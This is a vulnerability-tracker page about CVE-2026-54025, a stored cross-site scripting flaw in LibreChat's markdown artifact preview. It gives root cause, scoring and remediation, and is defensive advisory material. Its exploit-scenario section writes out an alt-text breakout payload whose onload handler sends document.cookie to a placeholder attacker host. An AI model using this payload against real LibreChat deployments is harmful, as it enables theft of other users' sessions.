Skip to main content

LibreChat EUVDEUVD-2026-39463

| CVE-2026-54025 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-25 GitHub_M
5.4
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to LibreChat instance
  2. Delivery
    Craft markdown image with alt attribute breakout payload
  3. Exploit
    Submit content to shared conversation or artifact
  4. Install
    Victim opens artifact preview pane
  5. C2
    marked fallback renderer writes unescaped alt text to innerHTML
  6. Execute
    Event handler fires in Sandpack iframe
  7. Impact
    Attacker JavaScript executes in victim browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two conditions to be simultaneously true: (1) the attacker must hold at least a low-privilege authenticated account on the target LibreChat instance, enabling them to submit markdown content containing crafted image alt text; and (2) a victim user must open or render the artifact preview pane that triggers the generateMarkdownHtml function with the malicious markdown. The vulnerable code path is only reached when LibreChat's custom image renderer returns false for a URL passing the isSafeUrl allowlist, causing fallback to the marked built-in renderer - meaning the image URL itself must satisfy the safe URL check for the exploit to trigger the fallback. Exploitation is limited to multi-user LibreChat deployments; a single-user self-hosted instance where the owner is both attacker and victim carries no meaningful risk. The Sandpack preview iframe must be active and rendered in the victim's browser for the innerHTML sink assignment to execute the payload.

Impact

The NVD CVSS score of 5.4 (Medium) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N accurately captures the realistic risk profile. PR:L confirms authentication is required to submit malicious content, and UI:R confirms a victim must actively view the rendered artifact - both are meaningful friction points that reduce opportunistic exploitation. The Scope:Changed metric elevates the rating above a purely contained XSS, reflecting that the payload crosses into the iframe context. EPSS data is not provided in the source intelligence, but the authenticated requirement and user-interaction dependency lower the probability of widespread automated exploitation. No CISA KEV listing and no referenced POC further support a lower operational urgency for most organizations. However, for LibreChat deployments shared among multiple users (team or enterprise instances), the risk is materially higher - an authenticated insider or compromised account can target other users browsing artifact previews. The C:L/I:L impact ratings indicate the attacker can steal session data or manipulate the victim's interface state but cannot directly escalate to full system compromise via this vector alone.

Exploit ScenarioDerived

An authenticated LibreChat user crafts a message containing a markdown image with an alt attribute payload such as !" onload="fetch('https://attacker.example/steal?c='+document.cookie). When another user on the same instance opens the artifact preview pane for that message, the marked fallback renderer writes the unescaped alt text into the HTML attribute without sanitization, the onload event fires inside the Sandpack iframe, and the attacker's JavaScript executes in the victim's browser context. No public proof-of-concept has been referenced in available intelligence, but the attack mechanics are straightforward for anyone familiar with HTML attribute injection.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 25, 2026

Cross-site scripting in LibreChat's markdown artifact preview pipeline allows an authenticated attacker to inject arbitrary JavaScript into a victim's browser session via crafted image alt text. The marked library v15.0.12 fails to HTML-escape double-quote characters in image alt text when LibreChat's custom image renderer falls through to the built-in renderer, enabling attribute breakout via payloads like " onload="payload. The resulting unsanitized HTML is written directly to innerHTML inside the Sandpack preview iframe, executing attacker-controlled code in the victim's browser. No public exploit code or active exploitation (CISA KEV) has been identified at time of analysis; fixed in version 0.8.4-rc1.

RemediationAI

Upgrade LibreChat to version 0.8.4-rc1 or later, which resolves this vulnerability per the vendor advisory at https://github.com/danny-avila/LibreChat/security/advisories/GHSA-3phr-62qf-cxf3. If immediate upgrade is not feasible, consider restricting access to the artifact preview feature or limiting who can submit markdown content with image tags in shared instances. A compensating control would be to proxy all rendered artifact HTML through a server-side sanitizer (e.g., DOMPurify) before it reaches the Sandpack iframe's innerHTML assignment - this adds latency but eliminates the class of sink-based XSS. Disabling the Sandpack preview iframe for untrusted users is a more aggressive but effective mitigation. Note: restricting isSafeUrl allowlist entries alone does not remediate this issue, since the vulnerability is triggered specifically by URLs that pass the allowlist causing the custom renderer to return false and invoke the unsafe fallback.

Affected VersionsENISA

LibreChat < 0.8.4-rc1

Affected Packages

euvd librechat fix: 0.8.4-rc1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

LibreChat (CPE: cpe:2.3:a:danny-avila:librechat:*:*:*:*:*:*:*:*) is a self-hosted, multi-provider AI chat frontend that renders user-controlled markdown through the marked library (v15.0.12). The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) originates in the interaction between LibreChat's custom image renderer in client/src/utils/markdown.ts and the marked fallback mechanism. When the custom renderer returns false for an image URL that passes the isSafeUrl allowlist, marked silently falls back to its built-in renderer, which writes the raw alt attribute value without escaping double-quote characters. The final HTML string is then assigned via document.getElementById('content').innerHTML inside the Sandpack preview iframe, a client-side sink that provides no additional sanitization. The scope change (S:C in CVSS) reflects that the injected payload executes in the context of the iframe's origin rather than solely within the submitter's session.

Know when Librechat gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Network delivery, low complexity; PR:L because submission requires authentication; UI:R because victim must render the preview; S:C for iframe context crossing; C:L/I:L for session theft and DOM manipulation with no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jun 25, 2026 - 18:03 EUVD

DescriptionCVE.org

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.4-rc1, there is a vulnerability in LibreChat's markdown artifact preview pipeline. The marked library v15.0.12 does not HTML-escape double-quote characters in image alt text when a custom renderer falls through to the default renderer. LibreChat's generateMarkdownHtml function (in client/src/utils/markdown.ts) installs a custom image renderer that returns false for URLs passing the isSafeUrl allowlist check, which causes marked to fall back to its built-in renderer. That built-in renderer inserts the raw alt text into the alt="..." attribute without escaping double-quote characters. An attacker can craft an alt text such as " onload="payload to break out of the attribute and inject an arbitrary event handler. The resulting HTML is then assigned to document.getElementById('content').innerHTML inside the Sandpack preview iframe, causing the payload to execute in the victim's browser. This vulnerability is fixed in 0.8.4-rc1.

Threat Intelligence Overview

EPSS Score
0.1%
Top 97% exploitable
Prevalence
Medium
popular self-hosted AI chat frontend, significant hobbyist and small-team deployment
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2024-11170 HIGH POC
8.8 Mar 20

A vulnerability in danny-avila/librechat version git 81f2936 allows for path traversal due to improper sanitization of f

CVE-2024-10361 CRITICAL POC
9.1 Mar 20

An arbitrary file deletion vulnerability exists in danny-avila/librechat version v0.7.5-rc2, specifically within the /ap

CVE-2026-22252 CRITICAL POC
9.1 Jan 12

LibreChat before v0.8.2-rc2 allows any authenticated user to execute shell commands as root inside the container through

CVE-2025-8850 HIGH POC
8.8 Oct 30

LibreChat 0.7.9 lets an authenticated user turn off two-factor authentication on their own account without supplying a v

CVE-2025-66450 HIGH POC
8.6 Dec 11

Stored cross-site scripting and tracker injection in LibreChat 0.8.0 and earlier allow a user who can create a chat to c

CVE-2025-66201 HIGH POC
8.6 Nov 29

LibreChat is a ChatGPT clone with additional features. Rated high severity (CVSS 8.6), this vulnerability is remotely ex

CVE-2025-69222 HIGH POC
8.1 Jan 07

LibreChat 0.8.1-rc2 has SSRF in the Actions feature that allows authenticated users to make the server perform requests

CVE-2024-11171 HIGH POC
7.5 Mar 20

In danny-avila/librechat version git 0c2a583, there is an improper input validation vulnerability. Rated high severity (

CVE-2025-7104 HIGH POC
7.5 Sep 29

A mass assignment vulnerability exists in danny-avila/librechat, affecting all versions. Rated high severity (CVSS 7.5),

CVE-2025-8849 HIGH POC
7.5 Oct 31

Unbounded `key` and `value` parameters on the LibreChat 0.7.9 memory API (`POST /api/memories` and `PATCH /api/memories/

CVE-2024-11173 MEDIUM POC
6.5 Mar 20

An unhandled exception in the danny-avila/librechat repository, version git 600d217, can cause the server to crash, lead

CVE-2024-10366 MEDIUM POC
6.5 Mar 20

An improper access control vulnerability (IDOR) exists in the delete attachments functionality of danny-avila/librechat

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy